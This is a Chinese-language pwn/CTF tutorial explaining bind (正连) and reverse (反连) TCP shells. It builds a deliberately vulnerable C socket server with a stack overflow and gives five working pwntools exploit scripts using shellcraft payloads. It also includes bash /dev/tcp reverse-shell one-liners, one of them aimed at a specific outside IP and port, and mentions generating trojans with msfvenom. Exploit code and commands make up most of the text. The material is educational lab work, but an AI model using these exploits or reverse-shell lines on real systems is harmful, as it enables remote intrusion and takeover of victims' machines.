深入理解 pwn 题中的正连/反连 tcp

编译漏洞源码

以下源码来自老板娘 。通过了解socket编程一文让你透彻理解Linux的SOCKET编程(含实例解析),很明显可以看出,该服务器程序有个栈溢出漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
#include<unistd.h>
#include<sys/socket.h>
#include<arpa/inet.h>

int main(int argc,char **argv){
int jmp = 0xe4ff;
int sckfd,fd;
char buf[10];
struct sockaddr_in server;
sckfd = socket(AF_INET,SOCK_STREAM,0);
server.sin_family = AF_INET;
server.sin_port = htons(8888);
server.sin_addr.s_addr = inet_addr("0.0.0.0");
bind(sckfd,(struct sockaddr *)&server,sizeof(server));
listen(sckfd,10);
fd = accept(sckfd,NULL,NULL);
read(fd,buf,1000);

return 0;
}

编译命令:

1
gcc server1.c -fno-stack-protector -no-pie -z execstack -o server1

五种getshell的方式

我们通过pwntools提供的shellcraft来完成本题的利用。(通过该方式生成的shellcode中含”\x00”,在真实世界的利用中如遇到strcpy这种函数,将利用不成功)

sh()

exp如下:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.sh())

pr.sendline(payload)
pr.interactive()

攻击后,server1进程和攻击者进程的连接情况,及/proc/self/fd下的指向如下图所示:

可以看到,server1进程(PID:18662),其fd的0 1 2 都是指向”/dev/pts/1”,表明标准输入、输出、错误都是打印到当前terminal或者从当前terminal获取的。

此时我们在python起的terminal中是无法拿到server1进程起的shell的,除非我们在执行execve(“/bin/sh”)之前将0 1 2 替换成socket连接,将输入输出定向到socket。这是接下来几种方法要讲的。

bindsh() - 正连

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.bindsh(4444,'ipv4'))

pr.sendline(payload)

ff = remote('127.0.0.1',4444)
ff.interactive()

exp执行后的情况如下:

这个方法是在server1中通过socket()–>bind()–>listen()–>accept()创建一个新的socket监听端口,然后把server1的fd中 0 1 2全部指向新socket。这样接下来执行execve()后,输入输出就全定向到新socket流中。攻击进程主动向受害者进程的4444端口发起连接,就可以拿到受害者的输入输出,从而获得shell。

dupsh()

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.dupsh(4))

pr.sendline(payload)
pr.interactive()

这种方法复用了攻击进程与server1建立的socket连接,本题中对于server1进程来说正好是fd=4。

connect()+dupsh() - 反连

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.connect('127.0.0.1',4444,'ipv4')+shellcraft.dupsh())

pr.sendline(payload)
pr.interactive()

在执行攻击代码前,需要先开一个terminal,用nc监听4444端口,等待server1的连接:

1
nc -l -p 4444

本方法是利用server1主动去connect我们监听的端口,建立socket连接,并用这个socket去覆盖原本的 0 1 2,达到将输出定向到远端的目的。

findpeersh()

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='amd64',os='linux',log_level='debug')

pr = remote('127.0.0.1',8888)

payload = 'a'*30
payload += p64(0x4006B9)
payload += asm(shellcraft.findpeersh(pr.lport))

pr.sendline(payload)
pr.interactive()

本方法是在server1进程中寻找与pr.lport端口有连接的socket,并覆盖原来fd的0 1 2。攻击进程中成功拿到shell时的连接情况如下:

bash的/dev/tcp/ip/port反弹shell

pwn题中,反弹shell可以使用bash的/dev/tcp/ip/port特性创建socket连接,代码如下

1
2
3
4
5
bash -i &> /dev/tcp/ip/port 0>&1
bash -i &> /dev/tcp/ip/port 0>&2
# 如果使用system执行以上命令的话,需要改成如下形式
bash -c "bash -i &> /dev/tcp/ip/port 0>&1"
bash -c "bash -i &> /dev/tcp/ip/port 0>&2"

将以上命令分开理解:

bash -i :创建一个交互式shell

&> :将stdout和stderr都重定向到stdout。>&跟它的功能一样,当使用>& file&> file时,等同于> file 2>&1

/dev/tcp/ip/port :利用bash的特性,创建一个socket连接

0>&1 :将stdin重定向给stdout

0>&2 :将stdin重定向给stderr

bash -c "command" :创建一个子shell环境运行command

根据重定向符号的特性,以下命令也可以。前面部分将stdout重定向给socket连接,最后将stdin和stderr都重定向给stdout即socket

1
2
3
bash -i 1> /dev/tcp/45.32.206.182/17242 0>&1 2>&1
# ">"默认为标准输出重定向,同 "1>"
bash -i > /dev/tcp/45.32.206.182/17242 0>&1 2>&1

metasploit的msfvenom与反弹shell

msfvenom :用来生成木马软件(pwn利用中常用来生成一个反弹shell的软件)

msfconsole 的exploit/multi/handler:MSF中的侦听模块

TOTOLINK T10旧版本漏洞挖掘和分析 这篇文章中,写了两个使用示例——生成后门软件和生成shellcode,它们可被用于不同的场景下。

参考文档

多种姿势反弹shell

Linux :输入/输出重定向 >, 1>, 2>, &>, >> , <<

利用msfvenom生成木马